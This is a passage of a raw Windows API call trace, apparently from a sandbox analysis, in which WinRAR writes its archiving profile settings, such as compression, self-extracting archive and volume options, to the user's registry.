lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.222] RegSetValueExW (in: hKey=0x164, lpValueName="ctime", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.222] RegCloseKey (hKey=0x164) returned 0x0 [0052.222] GetLastError () returned 0x0 [0052.222] SetLastError (dwErrCode=0x0) [0052.222] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.222] RegSetValueExW (in: hKey=0x164, lpValueName="atime", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.222] RegCloseKey (hKey=0x164) returned 0x0 [0052.222] GetLastError () returned 0x0 [0052.222] SetLastError (dwErrCode=0x0) [0052.222] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.223] RegSetValueExW (in: hKey=0x164, lpValueName="PathsAbs", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.223] RegCloseKey (hKey=0x164) returned 0x0 [0052.223] GetLastError () returned 0x0 [0052.223] SetLastError (dwErrCode=0x0) [0052.223] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.223] RegSetValueExW (in: hKey=0x164, lpValueName="PathsNone", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.223] RegCloseKey (hKey=0x164) returned 0x0 [0052.223] GetLastError () returned 0x0 [0052.223] SetLastError (dwErrCode=0x0) [0052.223] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.223] RegSetValueExW (in: hKey=0x164, lpValueName="PathsAbsDrive", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.223] RegCloseKey (hKey=0x164) returned 0x0 [0052.223] GetLastError () returned 0x0 [0052.223] SetLastError (dwErrCode=0x0) [0052.223] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.223] RegSetValueExW (in: hKey=0x164, lpValueName="SeparateArc", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.223] RegCloseKey (hKey=0x164) returned 0x0 [0052.223] GetLastError () returned 0x0 [0052.223] SetLastError (dwErrCode=0x0) [0052.223] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.223] RegSetValueExW (in: hKey=0x164, lpValueName="SeparateArcDoubleExt", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.223] RegCloseKey (hKey=0x164) returned 0x0 [0052.223] GetLastError () returned 0x0 [0052.223] SetLastError (dwErrCode=0x0) [0052.223] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.224] RegSetValueExW (in: hKey=0x164, lpValueName="SeparateArcSubfolders", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.224] RegCloseKey (hKey=0x164) returned 0x0 [0052.224] GetLastError () returned 0x0 [0052.224] SetLastError (dwErrCode=0x0) [0052.224] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.224] RegSetValueExW (in: hKey=0x164, lpValueName="EmailArcTo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.224] RegCloseKey (hKey=0x164) returned 0x0 [0052.224] GetLastError () returned 0x0 [0052.224] SetLastError (dwErrCode=0x0) [0052.224] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18ab78, lpdwDisposition=0x18ab70 | out: phkResult=0x18ab78*=0x164, lpdwDisposition=0x18ab70*=0x2) returned 0x0 [0052.224] RegSetValueExW (in: hKey=0x164, lpValueName="PackDetails", Reserved=0x0, dwType=0x3, lpData=0x18b090*, cbData=0xc0 | out: lpData=0x18b090*) returned 0x0 [0052.224] RegCloseKey (hKey=0x164) returned 0x0 [0052.224] GetCurrentProcess () returned 0xffffffffffffffff [0052.224] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18c690, lpSystemAffinityMask=0x18c698 | out: lpProcessAffinityMask=0x18c690, lpSystemAffinityMask=0x18c698) returned 1 [0052.224] GetCurrentProcess () returned 0xffffffffffffffff [0052.224] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18c6f0, lpSystemAffinityMask=0x18c6f8 | out: lpProcessAffinityMask=0x18c6f0, lpSystemAffinityMask=0x18c6f8) returned 1 [0052.224] GetLastError () returned 0x0 [0052.224] SetLastError (dwErrCode=0x0) [0052.224] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x18c2a0 | out: phkResult=0x18c2a0*=0x164) returned 0x0 [0052.224] RegQueryValueExW (in: hKey=0x164, lpValueName="SMP", lpReserved=0x0, lpType=0x18c704, lpData=0x18c700, lpcbData=0x18c738*=0x4 | out: lpType=0x18c704*=0x0, lpData=0x18c700*=0x1, lpcbData=0x18c738*=0x4) returned 0x2 [0052.224] RegCloseKey (hKey=0x164) returned 0x0 [0052.224] LoadStringW (in: hInstance=0x13f160000, uID=0x3f7, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="Create e-mail attachment") returned 0x18 [0052.224] GetLastError () returned 0x0 [0052.224] SetLastError (dwErrCode=0x0) [0052.224] GetLastError () returned 0x0 [0052.224] SetLastError (dwErrCode=0x0) [0052.225] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0x189fb0 | out: phkResult=0x189fb0*=0x164) returned 0x0 [0052.225] RegCloseKey (hKey=0x164) returned 0x0 [0052.225] GetLastError () returned 0x0 [0052.225] SetLastError (dwErrCode=0x0) [0052.225] GetLastError () returned 0x0 [0052.225] SetLastError (dwErrCode=0x0) [0052.225] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x1, phkResult=0x189fb0 | out: phkResult=0x189fb0*=0x0) returned 0x2 [0052.225] GetLastError () returned 0x0 [0052.225] SetLastError (dwErrCode=0x0) [0052.225] GetLastError () returned 0x0 [0052.225] SetLastError (dwErrCode=0x0) [0052.225] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x18a330 | out: phkResult=0x18a330*=0x164) returned 0x0 [0052.225] RegQueryValueExW (in: hKey=0x164, lpValueName="Name", lpReserved=0x0, lpType=0x18a794, lpData=0x18b300, lpcbData=0x18a790*=0x400 | out: lpType=0x18a794*=0x1, lpData="Default Profile", lpcbData=0x18a790*=0x20) returned 0x0 [0052.225] RegCloseKey (hKey=0x164) returned 0x0 [0052.225] GetLastError () returned 0x0 [0052.225] SetLastError (dwErrCode=0x0) [0052.225] GetLastError () returned 0x0 [0052.225] SetLastError (dwErrCode=0x0) [0052.225] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x1) returned 0x0 [0052.225] RegSetValueExW (in: hKey=0x164, lpValueName="Name", Reserved=0x0, dwType=0x1, lpData="Create e-mail attachment", cbData=0x32 | out: lpData="Create e-mail attachment") returned 0x0 [0052.225] RegCloseKey (hKey=0x164) returned 0x0 [0052.225] GetLastError () returned 0x0 [0052.225] SetLastError (dwErrCode=0x0) [0052.225] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.225] RegSetValueExW (in: hKey=0x164, lpValueName="Default", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.225] RegCloseKey (hKey=0x164) returned 0x0 [0052.225] GetLastError () returned 0x0 [0052.225] SetLastError (dwErrCode=0x0) [0052.225] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x20006, phkResult=0x18ac00 | out: phkResult=0x18ac00*=0x164) returned 0x0 [0052.226] RegDeleteValueW (hKey=0x164, lpValueName="ArcName") returned 0x2 [0052.226] RegCloseKey (hKey=0x164) returned 0x0 [0052.226] GetLastError () returned 0x0 [0052.226] SetLastError (dwErrCode=0x0) [0052.226] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x20006, phkResult=0x18ac00 | out: phkResult=0x18ac00*=0x164) returned 0x0 [0052.226] RegDeleteValueW (hKey=0x164, lpValueName="FileNames") returned 0x2 [0052.226] RegCloseKey (hKey=0x164) returned 0x0 [0052.226] GetLastError () returned 0x0 [0052.226] SetLastError (dwErrCode=0x0) [0052.226] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.226] RegSetValueExW (in: hKey=0x164, lpValueName="ImmExec", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.226] RegCloseKey (hKey=0x164) returned 0x0 [0052.226] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x2) returned 0x1eb090 [0052.226] GetLastError () returned 0x0 [0052.226] SetLastError (dwErrCode=0x0) [0052.226] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.226] RegSetValueExW (in: hKey=0x164, lpValueName="ExclNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.226] RegCloseKey (hKey=0x164) returned 0x0 [0052.226] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1eb090 | out: hHeap=0x1b0000) returned 1 [0052.226] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x2) returned 0x1eb090 [0052.226] GetLastError () returned 0x0 [0052.226] SetLastError (dwErrCode=0x0) [0052.226] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.226] RegSetValueExW (in: hKey=0x164, lpValueName="StoreNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.226] RegCloseKey (hKey=0x164) returned 0x0 [0052.226] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1eb090 | out: hHeap=0x1b0000) returned 1 [0052.226] GetLastError () returned 0x0 [0052.226] SetLastError (dwErrCode=0x0) [0052.226] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.227] RegSetValueExW (in: hKey=0x164, lpValueName="UseRAR", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.227] RegCloseKey (hKey=0x164) returned 0x0 [0052.227] GetLastError () returned 0x0 [0052.227] SetLastError (dwErrCode=0x0) [0052.227] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.227] RegSetValueExW (in: hKey=0x164, lpValueName="RAR5", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.227] RegCloseKey (hKey=0x164) returned 0x0 [0052.227] GetLastError () returned 0x0 [0052.227] SetLastError (dwErrCode=0x0) [0052.227] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.227] RegSetValueExW (in: hKey=0x164, lpValueName="SFXModule", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.227] RegCloseKey (hKey=0x164) returned 0x0 [0052.227] GetLastError () returned 0x0 [0052.227] SetLastError (dwErrCode=0x0) [0052.227] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x20006, phkResult=0x18ac00 | out: phkResult=0x18ac00*=0x164) returned 0x0 [0052.227] RegDeleteValueW (hKey=0x164, lpValueName="SFX") returned 0x2 [0052.227] RegCloseKey (hKey=0x164) returned 0x0 [0052.227] GetLastError () returned 0x0 [0052.227] SetLastError (dwErrCode=0x0) [0052.227] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.227] RegSetValueExW (in: hKey=0x164, lpValueName="SFXIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.228] RegCloseKey (hKey=0x164) returned 0x0 [0052.228] GetLastError () returned 0x0 [0052.228] SetLastError (dwErrCode=0x0) [0052.228] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.228] RegSetValueExW (in: hKey=0x164, lpValueName="SFXLogo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.228] RegCloseKey (hKey=0x164) returned 0x0 [0052.228] GetLastError () returned 0x0 [0052.228] SetLastError (dwErrCode=0x0) [0052.228] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.228] RegSetValueExW (in: hKey=0x164, lpValueName="SFXElevate", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.228] RegCloseKey (hKey=0x164) returned 0x0 [0052.228] GetLastError () returned 0x0 [0052.228] SetLastError (dwErrCode=0x0) [0052.228] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.228] RegSetValueExW (in: hKey=0x164, lpValueName="CmtFile", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.228] RegCloseKey (hKey=0x164) returned 0x0 [0052.228] GetLastError () returned 0x0 [0052.228] SetLastError (dwErrCode=0x0) [0052.228] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18ab78, lpdwDisposition=0x18ab70 | out: phkResult=0x18ab78*=0x164, lpdwDisposition=0x18ab70*=0x2) returned 0x0 [0052.228] RegSetValueExW (in: hKey=0x164, lpValueName="CmtDataWide", Reserved=0x0, dwType=0x3, lpData=0x13f26f128*, cbData=0x2 | out: lpData=0x13f26f128*) returned 0x0 [0052.228] RegCloseKey (hKey=0x164) returned 0x0 [0052.228] GetLastError () returned 0x0 [0052.228] SetLastError (dwErrCode=0x0) [0052.228] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.229] RegSetValueExW (in: hKey=0x164, lpValueName="VolumeSize", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x4 | out: lpData="0") returned 0x0 [0052.229] RegCloseKey (hKey=0x164) returned 0x0 [0052.229] GetLastError () returned 0x0 [0052.229] SetLastError (dwErrCode=0x0) [0052.229] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.229] RegSetValueExW (in: hKey=0x164, lpValueName="VolSizeMod", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x2, cbData=0x4 | out: lpData=0x18b058*=0x2) returned 0x0 [0052.229] RegCloseKey (hKey=0x164) returned 0x0 [0052.229] GetLastError () returned 0x0 [0052.229] SetLastError (dwErrCode=0x0) [0052.229] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.229] RegSetValueExW (in: hKey=0x164, lpValueName="VolPause", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.229] RegCloseKey (hKey=0x164) returned 0x0 [0052.229] GetLastError () returned 0x0 [0052.229] SetLastError (dwErrCode=0x0) [0052.229] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.229] RegSetValueExW (in: hKey=0x164, lpValueName="OldVolNames", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.229] RegCloseKey (hKey=0x164) returned 0x0 [0052.229] GetLastError () returned 0x0 [0052.229] SetLastError (dwErrCode=0x0) [0052.229] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.229] RegSetValueExW (in: hKey=0x164, lpValueName="RecVolNumber", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.229] RegCloseKey (hKey=0x164) returned 0x0 [0052.229] GetLastError () returned 0x0 [0052.229] SetLastError (dwErrCode=0x0) [0052.230] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.230] RegSetValueExW (in: hKey=0x164, lpValueName="Update", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.230] RegCloseKey (hKey=0x164) returned 0x0 [0052.230] GetLastError () returned 0x0 [0052.230] SetLastError (dwErrCode=0x0) [0052.230] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.230] RegSetValueExW (in: hKey=0x164, lpValueName="Fresh", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.230] RegCloseKey (hKey=0x164) returned 0x0 [0052.230] GetLastError () returned 0x0 [0052.230] SetLastError (dwErrCode=0x0) [0052.230] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.230] RegSetValueExW (in: hKey=0x164, lpValueName="SyncFiles", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.230] RegCloseKey (hKey=0x164) returned 0x0 [0052.230] GetLastError () returned 0x0 [0052.230] SetLastError (dwErrCode=0x0) [0052.230] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.230] RegSetValueExW (in: hKey=0x164, lpValueName="Overwrite", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.230] RegCloseKey (hKey=0x164) returned 0x0 [0052.230] GetLastError () returned 0x0 [0052.230] SetLastError (dwErrCode=0x0) [0052.230] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.230] RegSetValueExW (in: hKey=0x164, lpValueName="Move", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.230] RegCloseKey (hKey=0x164) returned 0x0 [0052.230] GetLastError () returned 0x0 [0052.231] SetLastError (dwErrCode=0x0) [0052.231] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.231] RegSetValueExW (in: hKey=0x164, lpValueName="ArcRecBin", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.231] RegCloseKey (hKey=0x164) returned 0x0 [0052.231] GetLastError () returned 0x0 [0052.231] SetLastError (dwErrCode=0x0) [0052.231] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.231] RegSetValueExW (in: hKey=0x164, lpValueName="ArcWipe", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.231] RegCloseKey (hKey=0x164) returned 0x0 [0052.231] GetLastError () returned 0x0 [0052.231] SetLastError (dwErrCode=0x0) [0052.231] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, 